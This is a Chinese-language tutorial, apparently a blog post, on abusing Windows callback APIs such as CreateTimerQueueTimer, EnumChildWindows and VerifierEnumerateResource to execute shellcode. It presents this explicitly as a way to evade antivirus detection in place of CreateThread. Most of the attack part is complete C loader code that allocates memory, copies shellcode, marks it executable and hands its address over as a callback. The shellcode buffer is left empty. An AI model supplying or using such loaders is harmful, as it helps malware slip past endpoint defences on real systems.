回调函数就是一个被作为参数传递的函数。在C语言中,回调函数只能使用函数指针实现,
说的简单点就是你去购物店里买东西,恰巧卖完了,店员告诉你货来了我通知你,
在Windows系统中回调函数应用于各种场景,比如事件处理,窗口管理,多线程等等。
微软对回调函数的定义如下:
回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成一项任务。对回调函数的调用间接从托管应用程序中进行传递、经过 DLL 函数,再回到托管实现。一些通过平台调用的 DLL 函数需要托管代码中的回调函数才能正常运行。
若要从托管代码中调用大部分 DLL 函数,则可以创建函数的托管定义,然后再调用它。此过程相当简单。
使用需要回调函数的 DLL 函数还有一些其他步骤。首先,必须通过查看函数的文档来确定该函数是否需要回调。然后,需要在托管应用程序中创建回调函数。最后,调用 DLL 函数,将指针作为一个参数传递给回调函数。
下图汇总了回调函数和实现步骤:
滥用回调函数
Windows的回调函数是使用指针去执行的,所以我们如果要运行shellcode,那么必须传递shellcode的地址而不是有效的回调指针,并且回调函数的好处在于可以取代CreateThread等创建线程去执行的函数,这些函数在对抗某杀软的情况下不是那么OPSEC的,并且无需传递正确的参数来正确的使用这些回调函数,因为返回值以及功能并不重要。
回调函数示例
CreateTimerQueueTimer
CreateTimerQueueTimer函数是一个创建计时器的函数,如下参数。
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback,
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);
phNewTimer 指向缓冲区的指针,该缓冲区在返回时接收计时器队列计时器的句柄。
TimerQueue 计时器队列的句柄。此句柄由 CreateTimerQueue 函数返回。
Callback 指向在计时器过期时要执行的应用程序定义的 WAITORTIMERCALLBACK 类型的函数的指针.
Parameter 参数
DueTime 相对于第一次向计时器发出信号之前必须经过的当前时间的时间量
Period 计时器的周期(以毫秒为单位)。如果此参数为零,则会向计时器发出一次信号。如果此参数大于零,则计时器是定期的。定期计时器会在每次经过该时间段时自动重新激活,直到计时器被取消。
Flags 此参数可以是 WinNT.h 中的以下一个或多个值。
这里我们只需要关注第三个参数就行了,第三个参数指向我们shellcode即可。
除了如上的三个还有如下:
EnumChildWindows
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc,
[in] LPARAM lParam
);
这个函数的第二个参数是指向应用程序定义的回调函数的指针,所以只需要关注他即可。
EnumUILanguagesW
这个函数只需要关注它的第一个参数即可,第一个参数还是和上面一样指向应用程序定义的回调函数的指针。
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);
VeifierEnumerateResource
这个函数关注第四个参数即可。
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,
PVOID EnumerationContext
);
如下我们只需要将创建线程那一步给他更换成回调函数即可:
BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) {
PVOID Address = NULL;
DWORD dwold = NULL;
HANDLE timer = NULL;
//首先申请一块内存 大小就是传递进来的shellcodesize
Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Address == NULL) {
printf("内存申请失败!!!!");
return FALSE;
}
//copy shellcode到内存中
memcpy(Address, shellcode, shellcodeSize);
//修改内存权限
BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold);
if (!vp) {
printf("修改失败");
return FALSE;
}
if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)Address, NULL, NULL, NULL, NULL)) {
printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
return -1;
}
}
unsigned char shellcode[277214] = {};
int main() {
APCThreadTest(shellcode,sizeof(shellcode));
getchar();
}
那么也就是说我们只需要替换一下回调函数即可。
EnumChildWindows执行shellcode
EnumChildWindows通过将句柄传递到每个子窗口,再将传递给应用程序定义的回调函数
枚举属于指定父窗口的子窗口。EnumChildWindows一直持续到最后一个子窗口被枚举或回调函数返回 FALSE。
EnumChildWindows(NULL,(WNDENUMPROC)Address,NULL)
VerifierEnumerateResource执行shellcode
VerifierEnumerateResource这个函数是枚举操作系统资源以供调试和支持工具使用。
VerifierEnumerateResource是从verifider.dll中导出的,所以我们必须使用LoaderLibrary和GetProcAddress动态加载才可以拿到函数的地址。
这里需要注意的是这个函数的第三个参数必须是于 AvrfResourceHeapAllocation,要不然我们的shellcode是不会执行的。
如下代码:
typedef ULONG(WINAPI* fnVerifierEnumerateResource)(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,
PVOID EnumerationContext
);
BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) {
PVOID Address = NULL;
DWORD dwold = NULL;
HANDLE timer = NULL;
//首先申请一块内存 大小就是传递进来的shellcodesize
Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Address == NULL) {
printf("内存申请失败!!!!");
return FALSE;
}
//copy shellcode到内存中
memcpy(Address, shellcode, shellcodeSize);
//修改内存权限
BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold);
if (!vp) {
printf("修改失败");
return FALSE;
}
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
HMODULE hmodule = LoadLibraryA("verifier.dll");
if (hmodule == NULL) {
printf("获取失败");
return FALSE;
}
pVerifierEnumerateResource = GetProcAddress(hmodule,"VerifierEnumerateResource");
pVerifierEnumerateResource(GetCurrentProcess(),NULL,AvrfResourceHeapAllocation,(AVRF_RESOURCE_ENUMERATE_CALLBACK)Address,NULL);
}
unsigned char shellcode[277214] = {};
int main() {
APCThreadTest(shellcode,sizeof(shellcode));
getchar();
}